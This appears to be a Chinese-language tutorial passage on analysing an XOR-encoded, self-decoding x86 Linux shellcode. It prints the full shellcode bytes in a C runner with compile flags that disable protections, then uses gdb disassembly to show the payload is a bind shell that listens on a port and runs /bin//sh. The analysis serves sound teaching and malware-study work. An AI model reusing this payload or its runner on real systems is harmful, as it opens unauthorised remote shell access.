分析一段shellcode的功能,核心的是什么呢?我觉得最核心的是这段shellcode实现的系统调用,因为一旦知道shellcode实现的系统调用,那么整段shellcode的功能便已了然。要知道shellcode实现的系统调用,关键是找到系统调用号,即int 0x80执行之前,eax寄存器中存放的数字。
上面的代码反汇编中,并没有找到int 0x80的踪影。原因在哪里呢?仔细分析这段代码,前几行代码已经给了我们答案:
00000000 EB11 jmp short 0x13
00000002 5E pop esi
00000003 31C9 xor ecx,ecx
00000005 B165 mov cl,0x65
00000007 80740EFF0A xor byte [esi+ecx-0x1],0xa
0000000C 80E901 sub cl,0x1
0000000F 75F6 jnz 0x7
00000011 EB05 jmp short 0x18
00000013 E8EAFFFFFF call dword 0x2
00000018 3BCA cmp ecx,edx
这是一段自修改shellcode。运行后,它调用“xor byte [esi+ecx-0x1],0xa”这条指令,将0x00000018及以后的0x65个字节组成的指令进行译码,生成我们要用到的特定功能的shellcode。
接下来,我们要想知道这段shellcode的功能,就必须要动态的调试这段shellcode。于是我们构造了下面的C调用程序,编译,并用gdb动态的调试这段shellcode。
root@linux:~/pentest# cat shellcode.c
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"
"\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"
"\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"
"\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"
"\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"
"\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"
"\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"
"\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"
"\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"
"\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"
"\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"
"\xba\x01\xc7\x8a";
int main(void)
{
(*(void(*)()) shellcode)();
}
root@linux:~/pentest#
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o shellcode shellcode.c
root@linux:~/pentest# gdb shellcode
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/shellcode...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048394 <+0>: push %ebp
0x08048395 <+1>: mov %esp,%ebp
0x08048397 <+3>: and {1}xfffffff0,%esp
0x0804839a <+6>: mov {1}x804a040,%eax
0x0804839f <+11>: call *%eax
0x080483a1 <+13>: mov %ebp,%esp
0x080483a3 <+15>: pop %ebp
0x080483a4 <+16>: ret
End of assembler dump.
(gdb) disass 0x804a040
Dump of assembler code for function shellcode:
0x0804a040 <+0>: jmp 0x804a053 <shellcode+19>
0x0804a042 <+2>: pop %esi
0x0804a043 <+3>: xor %ecx,%ecx
0x0804a045 <+5>: mov {1}x65,%cl
0x0804a047 <+7>: xorb {1}xa,-0x1(%esi,%ecx,1)
0x0804a04c <+12>: sub {1}x1,%cl
0x0804a04f <+15>: jne 0x804a047 <shellcode+7>
0x0804a051 <+17>: jmp 0x804a058 <shellcode+24>
0x0804a053 <+19>: call 0x804a042 <shellcode+2>
0x0804a058 <+24>: cmp %edx,%ecx
0x0804a05a <+26>: cmp %ecx,%edx
0x0804a05c <+28>: cmp %eax,%ebx
0x0804a05e <+30>: pop %edx
0x0804a05f <+31>: pusha
0x0804a060 <+32>: or 0x8(%eax),%esp
0x0804a063 <+35>: sub {1}xfffffff4,%ebx
0x0804a066 <+38>: leave
0x0804a067 <+39>: mov {1}x838ac76c,%edx
0x0804a06c <+44>: int3
0x0804a06d <+45>: pop %eax
0x0804a06e <+46>: bound %esi,-0x7c8feff8(%ecx)
0x0804a074 <+52>: jmp 0x804a0d6
---Type <return> to continue, or q <return> to quit---
0x0804a076 <+54>: sbb 0x5c(%ebx),%bl
0x0804a079 <+57>: sub {1}xfffffff4,%ebx
0x0804a07c <+60>: leave
0x0804a07d <+61>: mov {1}x588ac76c,%edx
0x0804a082 <+66>: pop %esp
0x0804a083 <+67>: sub {1}xffffffb9,%ebx
0x0804a086 <+70>: push %cs
0x0804a087 <+71>: mov {1}x588ac76c,%edx
0x0804a08c <+76>: pop %eax
0x0804a08d <+77>: pop %esp
0x0804a08e <+78>: sub {1}xfffffff4,%ebx
0x0804a091 <+81>: leave
0x0804a092 <+82>: mov {1}x838ac76c,%edx
0x0804a097 <+87>: leave
0x0804a098 <+88>: cmp %ebx,%eax
0x0804a09a <+90>: mov {1}x4b8ac735,%edx
0x0804a09f <+95>: mov {1}x4b8ac735,%edx
0x0804a0a4 <+100>: mov {1}x588ac735,%edx
0x0804a0a9 <+105>: bound %esp,0x62627925
0x0804a0af <+111>: and {1}x83646368,%eax
0x0804a0b4 <+116>: jmp 0xf387fa11
0x0804a0b9 <+121>: mov {1}x8ac701,%edx
End of assembler dump.
设置断点,并调试这段代码:
(gdb) disass main
Dump of assembler code for function main:
0x08048394 <+0>: push %ebp
0x08048395 <+1>: mov %esp,%ebp
0x08048397 <+3>: and {1}xfffffff0,%esp
0x0804839a <+6>: mov {1}x804a040,%eax
0x0804839f <+11>: call *%eax
0x080483a1 <+13>: mov %ebp,%esp
0x080483a3 <+15>: pop %ebp
0x080483a4 <+16>: ret
End of assembler dump.
(gdb) b *main+16
Breakpoint 2 at 0x80483a4: file shellcode.c, line 20.
(gdb) r
Starting program: /root/pentest/shellcode
^C
Program received signal SIGINT, Interrupt.
0x0804a096 in shellcode ()
(gdb) i r eip
eip 0x804a096 0x804a096 <shellcode+86>
(gdb) disass 0x804a096
Dump of assembler code for function shellcode:
0x0804a040 <+0>: jmp 0x804a053 <shellcode+19>
0x0804a042 <+2>: pop %esi
0x0804a043 <+3>: xor %ecx,%ecx
0x0804a045 <+5>: mov {1}x65,%cl
0x0804a047 <+7>: xorb {1}xa,-0x1(%esi,%ecx,1)
0x0804a04c <+12>: sub {1}x1,%cl
0x0804a04f <+15>: jne 0x804a047 <shellcode+7>
0x0804a051 <+17>: jmp 0x804a058 <shellcode+24>
0x0804a053 <+19>: call 0x804a042 <shellcode+2>
0x0804a058 <+24>: xor %eax,%eax
0x0804a05a <+26>: xor %ebx,%ebx
0x0804a05c <+28>: xor %edx,%edx
0x0804a05e <+30>: push %eax
0x0804a05f <+31>: push {1}x1
0x0804a061 <+33>: push {1}x2
0x0804a063 <+35>: mov %esp,%ecx
0x0804a065 <+37>: inc %bl
0x0804a067 <+39>: mov {1}x66,%al
0x0804a069 <+41>: int {1}x80
0x0804a06b <+43>: mov %eax,%esi
0x0804a06d <+45>: push %edx
0x0804a06e <+46>: push {1}x7a1a02bb
---Type <return> to continue, or q <return> to quit---
0x0804a073 <+51>: mov %esp,%ecx
0x0804a075 <+53>: push {1}x10
0x0804a077 <+55>: push %ecx
0x0804a078 <+56>: push %esi
0x0804a079 <+57>: mov %esp,%ecx
0x0804a07b <+59>: inc %bl
0x0804a07d <+61>: mov {1}x66,%al
0x0804a07f <+63>: int {1}x80
0x0804a081 <+65>: push %edx
0x0804a082 <+66>: push %esi
0x0804a083 <+67>: mov %esp,%ecx
0x0804a085 <+69>: mov {1}x4,%bl
0x0804a087 <+71>: mov {1}x66,%al
0x0804a089 <+73>: int {1}x80
0x0804a08b <+75>: push %edx
0x0804a08c <+76>: push %edx
0x0804a08d <+77>: push %esi
0x0804a08e <+78>: mov %esp,%ecx
0x0804a090 <+80>: inc %bl
0x0804a092 <+82>: mov {1}x66,%al
0x0804a094 <+84>: int {1}x80
=> 0x0804a096 <+86>: mov %eax,%ebx
0x0804a098 <+88>: xor %ecx,%ecx
---Type <return> to continue, or q <return> to quit---
0x0804a09a <+90>: mov {1}x3f,%al
0x0804a09c <+92>: int {1}x80
0x0804a09e <+94>: inc %ecx
0x0804a09f <+95>: mov {1}x3f,%al
0x0804a0a1 <+97>: int {1}x80
0x0804a0a3 <+99>: inc %ecx
0x0804a0a4 <+100>: mov {1}x3f,%al
0x0804a0a6 <+102>: int {1}x80
0x0804a0a8 <+104>: push %edx
0x0804a0a9 <+105>: push {1}x68732f2f
0x0804a0ae <+110>: push {1}x6e69622f
0x0804a0b3 <+115>: mov %esp,%ebx
0x0804a0b5 <+117>: push %edx
0x0804a0b6 <+118>: push %ebx
0x0804a0b7 <+119>: mov %esp,%ecx
0x0804a0b9 <+121>: mov {1}xb,%al
0x0804a0bb <+123>: int {1}x80
0x0804a0bd <+125>: add %al,(%eax)
End of assembler dump.
(gdb)
到这里,我们想要的int 0x80出现了。
系统调用号$0x66对应的是__NR_socketcall,看来是个socket函数。具体的要和功能号相关联查了下应该是socket->bind->listen->accept->dup2->execve。恩,很明显的一个bindshell!